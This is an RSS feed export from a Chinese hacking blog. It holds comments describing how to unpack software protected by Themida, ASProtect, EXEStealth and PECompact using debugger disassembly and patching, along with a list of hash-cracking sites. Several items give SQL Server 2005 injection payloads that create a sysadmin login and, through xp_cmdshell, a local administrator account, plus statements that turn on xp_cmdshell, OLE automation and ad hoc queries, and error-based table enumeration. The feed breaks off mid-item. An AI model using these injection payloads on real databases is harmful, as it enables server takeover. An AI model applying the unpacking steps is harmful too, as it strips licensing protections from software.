<?xml version="1.0" encoding="utf-8"?>

<rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns="http://purl.org/rss/1.0/">

  <channel rdf:about="http://www.kyospace.com/">
    <title><![CDATA[KYO的地盘]]></title>
    <link><![CDATA[http://www.kyospace.com/]]></link>
    <description><![CDATA[]]></description>
    <dc:language>zh-cn</dc:language>
    <dc:creator><![CDATA[KYO]]></dc:creator>
    <dc:date>2012-02-08T11:00:58Z</dc:date>
    <admin:generatorAgent rdf:resource="http://www.kyospace.com/" />
    <admin:errorReportsTo rdf:resource="http://www.kyospace.com/"/>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
    <items>
      <rdf:Seq>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=320">
    <title><![CDATA[Comment on: 壳 自己记录2.......]]></title>
    <description><![CDATA[【文章标题】: Delphi程序脱TMD修复OEP
【文章作者】: wuqing1501
--------------------------------------------------------------------------------
【详细过程】
 

 首先查壳
 
 Themida/WinLicense V1.8.X-V2.X -&gt; Oreans Technologies * Sign.By.fly...]]></description>
    <content:encoded><![CDATA[【文章标题】: Delphi程序脱TMD修复OEP<br>【文章作者】: wuqing1501<br>--------------------------------------------------------------------------------<br>【详细过程】<br>    <br><br>  首先查壳<br>  <br>  Themida/WinLicense V1.8.X-V2.X -&gt; Oreans Technologies   * Sign.By.fly * 20080131 *<br>  <br>  OD载入<br>  <br>  009E0014 X&gt;  B8 00000000        mov eax,0                             ; OD载入后停在这里<br>  009E0019     60                 pushad<br>  009E001A     0BC0               or eax,eax<br>  009E001C     74 68              je short XX.009E0086<br>  009E001E     E8 00000000        call XX.009E0023<br>  009E0023     58                 pop eax<br>  009E0024     05 53000000        add eax,53<br>  009E0029     8038 E9            cmp byte ptr ds:[eax],0E9<br>  009E002C     75 13              jnz short XX.009E0041<br>  009E002E     61                 popad<br>  009E002F     EB 45              jmp short XX.009E0076<br>  009E0031     DB2D 37009E00      fld tbyte ptr ds:[9E0037]<br>  009E0037     FFFF               ???                                   ; 未知命令<br>  009E0039     FFFF               ???                                   ; 未知命令<br>  009E003B     FFFF               ???                                   ; 未知命令<br>  009E003D     FFFF               ???                                   ; 未知命令<br>  009E003F     3D 40E80000        cmp eax,0E840<br>  <br>  <br>  很明显的TMD入口 <br>  <br>  好了我们使用这个脚本跑吧<br>  <br>  TMDScript-1.9.1+_1.0 final_修正集成版.osc<br>  <br>  OD载入脚本 运行完后停在这里<br>  <br>  <br>  004061E4     53                 push ebx                              ; 脚本运行完 停在这里<br>  004061E5     8BD8               mov ebx,eax<br>  004061E7     33C0               xor eax,eax<br>  004061E9     A3 A0104B00        mov dword ptr ds:[4B10A0],eax<br>  004061EE     6A 00              push 0<br>  004061F0     E8 2BFFFFFF        call XX.00406120                      ; jmp 到 kernel32.GetModuleHandleA<br>  004061F5     A3 68464B00        mov dword ptr ds:[4B4668],eax<br>  004061FA     A1 68464B00        mov eax,dword ptr ds:[4B4668]<br>  004061FF     A3 AC104B00        mov dword ptr ds:[4B10AC],eax<br>  00406204     33C0               xor eax,eax<br>  00406206     A3 B0104B00        mov dword ptr ds:[4B10B0],eax<br>  0040620B     33C0               xor eax,eax<br>  0040620D     A3 B4104B00        mov dword ptr ds:[4B10B4],eax<br>  00406212     E8 C1FFFFFF        call XX.004061D8<br>  00406217     BA A8104B00        mov edx,XX.004B10A8<br>  0040621C     8BC3               mov eax,ebx<br>  0040621E     E8 D1DBFFFF        call XX.00403DF4<br>  00406223     5B                 pop ebx<br>  00406224     C3                 retn<br>  <br>  这个就是程序的第一个CALL<br>  <br>  此时 EAX的值为004B09D0<br>  <br>  有这些我们可以写出OEP的前几句<br>  <br>  push ebp<br>  mov ebp,esp<br>  add esp,-10<br>  mov eax,004B09D0//第一个call时 EAX的值<br>  call 004061E4//第一个CALL的地址<br>  <br>  好了 我们按 F8  一直运行到<br>  <br>  00406224     C3                 retn<br>  <br>  此时记下寄存器的数值<br>  <br>  EAX 00000000<br>  ECX 0012FF70<br>  EDX 0012FF88<br>  EBX 0012FF9C<br>  ESP 0012FF80<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  <br>  然后继续按F8将进入到TMD的VM中<br>  <br>  00C2AD4A     68 E266860C        push 0C8666E2<br>  <br>  <br>  然后再按F8几次 走过第一个JMP后 在CODE段 00401000处F2断点，F9运行 然后再在在CODE段 00401000处F2断点再运行 直到停在第二个CALL内<br>  <br>  00478CE0     53                 push ebx                              ; 第二个CALL<br>  00478CE1     A1 64304B00        mov eax,dword ptr ds:[4B3064]<br>  00478CE6     8338 00            cmp dword ptr ds:[eax],0<br>  00478CE9     74 0A              je short XX.00478CF5<br>  00478CEB     8B1D 64304B00      mov ebx,dword ptr ds:[4B3064]         ; XX.004B4044<br>  00478CF1     8B1B               mov ebx,dword ptr ds:[ebx]<br>  00478CF3     FFD3               call ebx<br>  00478CF5     5B                 pop ebx<br>  00478CF6     C3                 retn<br>  <br>  此时我们记下第二个CALL的地址 和寄存器的内容<br>  <br>  EAX 03181804<br>  ECX 0012FF70<br>  EDX 0012FF88<br>  EBX 0012FF9C<br>  ESP 0012FF80<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  <br>  然后我们与第一次记录的寄存器比较，发现只有EAX发生了变化 ，我们按CTRL+B搜索二进制 04 18 18 03 找到了地址004B1484，这时我们可以补充OEP为<br>  <br>  push ebp<br>  mov ebp,esp<br>  add esp,-10<br>  mov eax,004B09D0//第一个call时 EAX的值<br>  call 004061E4//第一个CALL的地址<br>  mov eax,dword ptr ds:[4B1484]//如果找不到的话可以直接写成mov eax,004B1484<br>  mov eax,dword ptr ds:[eax]<br>  CALL  00478CE0<br>  <br>  <br>  然后我们继续按F8直到走完第二个CALL <br>  <br>  00478CF6     C3                 retn<br>  <br>  此时我们再记录下寄存器的数据<br>  <br>  EAX 00000001<br>  ECX 76AB67F0 ole32.76AB67F0<br>  EDX 76AB67F0 ole32.76AB67F0<br>  EBX 0012FF9C<br>  ESP 0012FF80<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  <br>  然后我们继续安装上面的步骤执行 直到程序运行到第三个CALL<br>  <br>  00406428     55                 push ebp                              ; 第三个call<br>  00406429     8BEC               mov ebp,esp<br>  0040642B     8B45 10            mov eax,dword ptr ss:[ebp+10]<br>  0040642E     50                 push eax<br>  0040642F     837D 0C 01         cmp dword ptr ss:[ebp+C],1<br>  00406433     1BC0               sbb eax,eax<br>  00406435     40                 inc eax<br>  00406436     83E0 7F            and eax,7F<br>  00406439     50                 push eax<br>  0040643A     8B45 08            mov eax,dword ptr ss:[ebp+8]<br>  0040643D     50                 push eax<br>  0040643E     E8 DDFFFFFF        call XX.00406420                      ; jmp 到 kernel32.createMutexA<br>  00406443     5D                 pop ebp<br>  00406444     C2 0C00            retn 0C<br>  <br>  此时我们记下 第三个CALL的地址和寄存器的数据<br>  <br>  EAX 00000001<br>  ECX 76AB67F0 ole32.76AB67F0<br>  EDX 76AB67F0 ole32.76AB67F0<br>  EBX 0012FF9C<br>  ESP 0012FF74<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  此时寄存器与我们上次记录的数据相比 只有ESP发生了变换 变化值为：0012FF74-0012FF80=-c 这时我们可以修复OEP为<br>  <br>  push ebp<br>  mov ebp,esp<br>  add esp,-10<br>  mov eax,004B09D0//第一个call时 EAX的值<br>  call 004061E4//第一个CALL的地址<br>  mov eax,dword ptr ds:[4B1484]//如果找不到的话可以直接写成mov eax,004B1484<br>  mov eax,dword ptr ds:[eax]<br>  CALL  00478CE0<br>  add esp,-c<br>  call 00406428<br>  <br>  然后我们继续F8做完第三个CALL 记下寄存器的数据<br>  <br>  EAX 00000208<br>  ECX 0012FEF8<br>  EDX 7C92E514 ntdll.KiFastSystemCallRet<br>  EBX 0012FF9C<br>  ESP 0012FF74<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  <br>  然后继续按F8走到VM中，然后和上面一样继续CODE段下断点，直到程序停在非VM 中，中间遇到 012214DE     F3:A4              rep movs byte ptr es:[edi],byte ptr d&gt;  这样的可以 F7一次，然后再F8一次走过去，然后继续下断点运<br><br>行<br>  <br>  运行几次后发现程序停在了这里<br>  <br>  <br>  004B0E50     E8 D356F5FF        call XX.00406528                      ; jmp 到 ntdll.RtlGetLastWin32Error 最后停在这里了<br>  004B0E55     3D B7000000        cmp eax,0B7<br>  004B0E5A     75 10              jnz short XX.004B0E6C<br>  004B0E5C     A1 48534B00        mov eax,dword ptr ds:[4B5348]<br>  004B0E61     50                 push eax<br>  004B0E62     E8 9955F5FF        call XX.00406400                      ; jmp 到 kernel32.CloseHandle<br>  004B0E67     E9 C2000000        jmp XX.004B0F2E<br>  004B0E6C     A1 78314B00        mov eax,dword ptr ds:[4B3178]<br>  <br>  走到这里我们可以直到已经运行到程序的部分了，这里就是OEP的附近了 <br>  <br>  此时我们记下寄存器中的数据<br>  <br>  EAX 00000208<br>  ECX 0012FEF8<br>  EDX 7C92E514 ntdll.KiFastSystemCallRet<br>  EBX 0012FF9C<br>  ESP 0012FF84<br>  EBP 0012FF94<br>  ESI 5E0000BA<br>  EDI FFFAAF8C<br>  <br>  此时与上面的寄存器比较一下 还是只有 ESP发生变化 变化值为 0012FF84-0012FF74=10<br>  <br>  好了我们可以把OEP修复为<br>  <br>  push ebp<br>  mov ebp,esp<br>  add esp,-10<br>  mov eax,004B09D0//第一个call时 EAX的值<br>  call 004061E4//第一个CALL的地址<br>  mov eax,dword ptr ds:[4B1484]//如果找不到的话可以直接写成mov eax,004B1484<br>  mov eax,dword ptr ds:[eax]<br>  CALL  00478CE0<br>  add esp,-c<br>  call 00406428<br>  add esp,10<br>  <br>  这样我们就找到了所有被VM的的OEP了，其实整个过程就是 看每次寄存器那些数据发生了变化 我们把相应的变化写出来就可以了<br>  <br>  此时我们分析一下数据 看看OEP的具体位置在哪里？<br>  <br>  根据Delphi程序的入口 OEP一般位于<br>  <br>  0044CA7C   . \4C364200      dd delphi7.0042364C<br>  0044CA80   .  ACC64400      dd delphi7.0044C6AC<br>  0044CA84   .  50C64400      dd delphi7.0044C650<br>  0044CA88   .  88C84400      dd delphi7.0044C888<br>  0044CA8C   .  58C84400      dd delphi7.0044C858<br>  0044CA90      00            db 00<br>  0044CA91      00            db 00<br>  0044CA92      00            db 00<br>  0044CA93      00            db 00<br>  0044CA94   .  90C84400      dd delphi7.0044C890//根据Delphi程序的入口 OEP一般位于这个下面<br>  <br>  看我们分析后的代码<br>  <br>  <br>  <br>  004B0E02    ?  4A               dec edx<br>  004B0E03    ?  00CC             add ah,cl<br>  004B0E05    ?  F7               ???                                   ;  未知命令<br>  004B0E06    ?  4A               dec edx<br>  004B0E07    ?  00A0 094B0064    add byte ptr ds:[eax+64004B09],ah<br>  004B0E0D    ?  094B 00          or dword ptr ds:[ebx],ecx<br>  004B0E10       00               db 00<br>  004B0E11       00               db 00<br>  004B0E12       00               db 00<br>  004B0E13       00               db 00<br>  004B0E14       A8094B00         dd XX.004B09A8<br>  004B0E18       77               db 77                                 ;  CHAR &#39;w&#39;<br>  004B0E19       3D               db 3D                                 ;  CHAR &#39;=&#39;<br>  004B0E1A       D6               db D6<br>  <br>  那我们的OEP地址应该就是004B0E18 了<br>  <br>  好我们把我们修复好的代码从这里开始写上去 发现写好后<br>  <br>  <br>  004B0E50     E8 D356F5FF        call XX.00406528这个代码与我们写的代码之间还有些数据，我们可以直接用个跳转跳到这里也可以直接把中间的代码都NOP掉，我就直接NOP掉了<br>  <br>  好了 到了这里我们的工作基本上就算完成了 <br><br>  修复好的OEP <br><br>   55 8B EC 83 C4 F0 B8 D0 09 4B 00 E8 BC 53 F5 FF A1 84 14 4B 00 8B 00 E8 AC 7E FC FF 83 C4 F4 E8 EC 55 F5 FF 83 C4 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90<br>  <br>  恩 在004B0E18 新建EIP吧，<br>  <br>  然后用LordPE DUMP出来，再用ImportREC修复一下就可以了，看看怎么样软件运行了吧！<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=320#commmark_833]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-09-03T23:41:58Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=345">
    <title><![CDATA[Comment on: 黑客网址记录]]></title>
    <description><![CDATA[http://hashchecker.de/

http://hashkiller.com/password/

md5

IP查询
http://www.yougetsignal.com/tools/web-sites-on-web-server/]]></description>
    <content:encoded><![CDATA[<a target='_blank' href='http://hashchecker.de/'>http://hashchecker.de/</a><br><br><a target='_blank' href='http://hashkiller.com/password/'>http://hashkiller.com/password/</a><br><br>md5<br><br>IP查询<br><a target='_blank' href='http://www.yougetsignal.com/tools/web-sites-&#111;n-web-server/'>http://www.yougetsignal.com/tools/web-sites-&#111;n-web-server/</a>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=345#commmark_832]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-07-13T10:36:10Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=341">
    <title><![CDATA[Comment on: tips 条件断点]]></title>
    <description><![CDATA[&lt;body onsel&#101;ctstart="return false;" oncontextmenu="return false;" &gt;

不能复制 不能右键]]></description>
    <content:encoded><![CDATA[&lt;body onselectstart=&quot;return false;&quot; oncontextmenu=&quot;return false;&quot; &gt;<br><br>不能复制  不能右键
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=341#commmark_829]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-08T10:55:55Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[得到客户端主机名:
sel&#101;ct host_name();
得到服务端主机名:
sel&#101;ct @@servername;
结果一样就极有可能未分离，结果不一样就是分离的

/*

;exec master..sp_addlogin sql,sqlwoaini--
;exec master..sp_addsrvrolemember sql,sysadmin--

;EXEC MA...]]></description>
    <content:encoded><![CDATA[得到客户端主机名:<br>select host_name();<br>得到服务端主机名:<br>select @@servername;<br>结果一样就极有可能未分离，结果不一样就是分离的<br><br>/*<br><br>;exec master..sp_addlogin sql,sqlwoaini--<br>;exec master..sp_addsrvrolemember sql,sysadmin--<br><br>;EXEC MASTER..XP_CMDSHELL &#39;net user sql sqlwoaini /add&#39;--<br>;EXEC MASTER..XP_CMDSHELL &#39;net localgroup administrators sql /add&#39;--<br>*/<br><br><br>[N] = 第N個表<br>ID=1 and (select top 1 name from(select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)&gt;1<br><br>[T] = 表名<br>[N] = 第N個字段<br>ID=1 and (select Top 1 col_name(object_id(&#39;[T]&#39;),[N]) from sysobjects)&gt;1
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_828]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-03-04T15:56:44Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[
得到客户端主机名:
sel&#101;ct host_name();
得到服务端主机名:
sel&#101;ct @@servername;
结果一样就极有可能未分离，结果不一样就是分离的
]]></description>
    <content:encoded><![CDATA[<br>得到客户端主机名:<br>select host_name();<br>得到服务端主机名:<br>select @@servername;<br>结果一样就极有可能未分离，结果不一样就是分离的<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_821]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-22T15:55:24Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=238">
    <title><![CDATA[Comment on: sql server 2005注入(转)]]></title>
    <description><![CDATA[对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.
SQL2005开启选项的一些方法整理:
 sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;R...]]></description>
    <content:encoded><![CDATA[对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.<br>SQL2005开启选项的一些方法整理:<br>        sql server 2005下开启xp_cmdshell的办法<br>EXEC sp_configure &#39;show advanced options&#39;,1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;,1;RECONFIGURE;<br>关闭一样.只是将上面的后面的那个&quot;1&quot;改成&quot;0&quot;就可以了:<br>EXEC sp_configure &#39;show advanced options&#39;,1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;,0;RECONFIGURE;<br>        sql2005下，xp_cmdshell、sp_oA的开启方法我查到资料了，我都已经开启了，浏览器返回正常，执行命令不会再出现权限错误，但是执行&quot;sp_oA&quot;时会出现超时提示，执行&quot;xp_cmdshell&quot;时，本地监听无反应，这些我在提问贴里已经说明了，不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.<br>        SQL2005开启&#39;OPENROWSET&#39;支持的方法：<br>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1;RECONFIGURE;<br>;exec sp_configure &quot;show advanced options&quot;, 1;RECONFIGURE;exec sp_configure &quot;Ad Hoc Distributed Queries&quot;,1;RECONFIGURE;--<br>        SQL2005开启&#39;sp_oacreate&#39;支持的方法:<br>exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Ole Automation Procedures&#39;,1;RECONFIGURE;<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=238#commmark_820]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-22T15:32:11Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=320">
    <title><![CDATA[Comment on: 壳 自己记录2.......]]></title>
    <description><![CDATA[ASProtect 1.2 / 1.2c-> Alexey Solodovnikov 

可能是最早的asprotect的壳了吧
我今天下载后自己加了壳试了试 
的确挺简单的.

用最后一次异常法来到最后一次异常处后,再用代码段内存访问断点就到OEP了.

这时,IAT是加密的.
dd 405000内存写入断点可来到这里...]]></description>
    <content:encoded><![CDATA[ASProtect 1.2 / 1.2c-&gt; Alexey Solodovnikov   <br><br>可能是最早的asprotect的壳了吧<br>我今天下载后自己加了壳试了试  <br>的确挺简单的.<br><br>用最后一次异常法来到最后一次异常处后,再用代码段内存访问断点就到OEP了.<br><br>这时,IAT是加密的.<br>dd 405000内存写入断点可来到这里<br>/*92F4D0*/  CALL 0092F0EC<br>/*92F4D5*/  CALL 0092F358<br>/*92F4DA*/  MOV EDX,DWORD PTR DS:[EDI]<br>/*92F4DC*/  MOV DWORD PTR DS:[EDX],EAX   //这里eax是错误的IAT<br><br>但是过了/*92F4D0*/  CALL 0092F0EC后eax是正确的IAT<br>那么nop掉/*92F4D5*/  CALL 0092F358这句应该是可以的.<br><br>不过还是有校验.<br>nop完顺便 hr 92F4D5再f9后 发现IAT已经填充完了.<br>这时候还等什么  马上dumpfix吧<br>完了后发现还有一个指针是错的,剪切掉后能正常运行,呵呵到这就over了.<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=320#commmark_789]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-05-03T17:49:04Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=319">
    <title><![CDATA[Comment on: 自己记录.........]]></title>
    <description><![CDATA[脱壳也玩了一阵子了
感觉也就那样 没什么可值得研究的
基本上一些不太复杂的加密壳也都能脱了
复杂的 我也没精力弄了 毕竟好多都有脚本或者脱壳机

以后碰到再说吧
主业还是安全这块 多分析分析漏洞也许是有用的]]></description>
    <content:encoded><![CDATA[脱壳也玩了一阵子了<br>感觉也就那样  没什么可值得研究的<br>基本上一些不太复杂的加密壳也都能脱了<br>复杂的 我也没精力弄了  毕竟好多都有脚本或者脱壳机<br><br>以后碰到再说吧<br>主业还是安全这块   多分析分析漏洞也许是有用的
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=319#commmark_788]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-27T16:12:29Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=317">
    <title><![CDATA[Comment on: 隐藏控制台程序的窗口]]></title>
    <description><![CDATA[#include <windows.h>
//#pragma comment(lib,"kernel32.lib")
// 使区段对齐减小
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
// 合并区段...]]></description>
    <content:encoded><![CDATA[#include &lt;windows.h&gt;<br>//#pragma comment(lib,&quot;kernel32.lib&quot;)<br>// 使区段对齐减小<br>#pragma comment(linker, &quot;/FILEALIGN:16&quot;)<br>#pragma comment(linker, &quot;/ALIGN:16&quot;)<br>#pragma comment( linker, &quot;/subsystem:\&quot;windows\&quot; /entry:\&quot;mainCRTStartup\&quot;&quot; )<br>// 合并区段<br>#pragma comment(linker, &quot;/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR&quot;)<br>#pragma comment(linker, &quot;/OPT:REF&quot;)<br>#pragma comment(linker, &quot;/OPT:ICF&quot;)<br>#pragma comment(linker, &quot;/OPT:NOWIN98&quot;)<br>// 开启编译器优化<br>#pragma optimize(&quot;gsy&quot;, on)<br>//int main(int argc, char* argv[])<br>int mainCRTStartup()<br>{<br>MessageBox(NULL, &quot;ok&quot;, &quot;ok&quot;, MB_OK);<br>return 0;<br>}<br><br><br>LINK那里要忽略所有库文件
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=317#commmark_787]]></link>
    <dc:subject><![CDATA[KYO--随笔]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-23T15:35:51Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=318">
    <title><![CDATA[Comment on: Alex Protector 1.0 beta2]]></title>
    <description><![CDATA[手脱 EXEStealth 2.75a -> WebtoolMaster
两分钟解决了这个
感觉比上面那个简单多了.

OEP
内存访问断
代码段---PE头---代码段
就到了
/*4070D1*/ PUSH EBP
/*4070D2*/ MOV EBP,ESP
/*4070D4*/ PUSH -1
/*4070D6*/ PUSH 0014.0040C0E8
/*4070DB*/ PUSH 0014...]]></description>
    <content:encoded><![CDATA[手脱 EXEStealth 2.75a -&gt; WebtoolMaster<br>两分钟解决了这个<br>感觉比上面那个简单多了.<br><br>OEP<br>内存访问断<br>代码段---PE头---代码段<br>就到了<br>/*4070D1*/  PUSH EBP<br>/*4070D2*/  MOV EBP,ESP<br>/*4070D4*/  PUSH -1<br>/*4070D6*/  PUSH 0014.0040C0E8<br>/*4070DB*/  PUSH 0014.0040855C<br>/*4070E0*/  MOV EAX,DWORD PTR FS:[0]<br>/*4070E6*/  PUSH EAX<br>he 4070d1<br>这时候dumpfix不行  因为有部分iat加密了<br><br>0040C0B8  7D6111E8  shell32.ShellExecuteA<br>0040C0BC  00000000<br>0040C0C0  001434C0<br>0040C0C4  001434C5<br>0040C0C8  001434CA<br>0040C0CC  001434CF<br>0040C0D0  001434D4<br>0040C0D4  001434D9<br>0040C0D8  001434DE<br>0040C0DC  001434E3<br>0040C0E0  001434E8<br><br><br>在0040C0C0下内存访问断<br><br>可知道有两个地方会覆盖<br>004176AB   /76 0E           JBE SHORT 0014.004176BB<br>004176AD   |EB 2A           JMP SHORT 0014.004176D9<br>004176AF   |EB 0A           JMP SHORT 0014.004176BB<br>004176B1   |81FB 00000080   CMP EBX,80000000<br>004176B7   |73 02           JNB SHORT 0014.004176BB<br>把004176AB 和004176B7处的jnb  nop掉就行了.<br><br><br>不过还有校验的地方<br>hr 004176AB 可来到这里<br>/*4173CE*/  MUL EDX<br>/*4173D0*/  ADD EBX,EAX<br>/*4173D2*/  INC EDX<br>/*4173D3*/  INC EDI<br>/*4173D4*/  LOOPD SHORT 0014.004173CC<br>/*4173D6*/  XCHG EAX,EBX<br><br>这里有个跳转<br>00417739    8B9D F82F4000   MOV EBX,DWORD PTR SS:[EBP+402FF8]<br>0041773F    33C3            XOR EAX,EBX<br>00417741    74 08           JE SHORT 0014.0041774B<br><br>je没实现就改为jmp吧<br>现在再到OEP后直接用OD插件脱壳都是OK的.
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=318#commmark_786]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-22T16:59:33Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=316">
    <title><![CDATA[Comment on: 如何使编译出来的文件更小]]></title>
    <description><![CDATA[其实合并区段减少不了多少字节
最关键是 linker选项里面勾上ignore default libraries]]></description>
    <content:encoded><![CDATA[其实合并区段减少不了多少字节<br>最关键是 linker选项里面勾上ignore default libraries
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=316#commmark_781]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-17T14:07:25Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[脱一个古董的壳。

国产的 好象名字是 仙剑1.003
用PEID查 有个区段是XJ

OEP好找。 2次内存断点即可。
我这里是40169d。he 40169d
DUMP后修复有问题。
找了个无效指针4050ac记录下。

重新载入
dd 4050ac 下内存写入断点。
发现在/*40E955*/ MOV DWORD PTR...]]></description>
    <content:encoded><![CDATA[脱一个古董的壳。<br><br>国产的  好象名字是 仙剑1.003<br>用PEID查 有个区段是XJ<br><br>OEP好找。  2次内存断点即可。<br>我这里是40169d。he 40169d<br>DUMP后修复有问题。<br>找了个无效指针4050ac记录下。<br><br>重新载入<br>dd 4050ac  下内存写入断点。<br>发现在/*40E955*/  MOV DWORD PTR DS:[EDX],ESI<br>给覆盖了。<br>往上看  发现这个地方跳转实现的话 就覆盖。<br>/*40E93A*/  JBE SHORT CrackM.0040E94A<br><br>NOP掉吧<br>再重新来过，<br>he 40e93a<br><br>在到达OEP后会退出，看来有校验。<br><br>hr 40e93a<br><br>这时发现校验在这里<br>/*40E9D6*/  JE SHORT CrackM.0040E9E0<br>把它jmp就过了校验。<br>DUMP时记得修正一下境象大小。<br>修复完IAT  再打开程序 就能运行了。看来这个壳还算简单。<br><br>我感觉他的加密IAT和校验有点象yoda&#39;s Protector里面的代码啊。
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=312#commmark_780]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-04-12T21:55:59Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=312">
    <title><![CDATA[Comment on: PECompact 2.x -> Jeremy Collake]]></title>
    <description><![CDATA[FSG 2.0 -> bart/xt

也算是压缩壳吧,不过比其他的稍微麻烦点.

入口点是这样的

